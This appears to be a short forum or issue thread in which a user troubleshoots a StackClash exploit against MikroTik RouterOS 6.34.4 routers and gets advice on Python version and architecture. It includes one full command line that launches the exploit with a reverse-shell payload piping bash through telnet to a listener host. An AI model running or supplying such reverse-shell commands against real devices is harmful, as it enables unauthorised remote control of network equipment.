Netcat or meterpreter won't connect!!!

[Husseo19]

Hey man, i am on a network with lots of RouterOs 6.34.4. Tried your scripts but can't get a connection neither through Netcat or meterpreter! I used first x86 binary file and stackclashx86.

python StackClash_x86.py 18.10.0.170 80 www_binary_x86 "/bin/mknod /ram/f p; /bin/telnet 192.168.1.105 4444 < /ram/f | /bin/bash > /ram/f 2>&1"

Netcat doesn't respond. Tips?

P.S I tried the mips Versions with corresponding mips scripts. It won't work, so i assume the device isn't misbpe arch? Here is what i got.

Thankks in Advance!

You have to use python3 with stackclash mips
Anyway if you have direct access to these boards you can check the arch with MNDP

Thanks for the answer, but why is it that i don't get any kind of response after executing? it says the payloads is send, and the exploits starts but nothing happens after that! I tried your script from exploit_db as well
Thanks again :)

I get the same issues regardless of using python3 with mipsbe build or python with x86
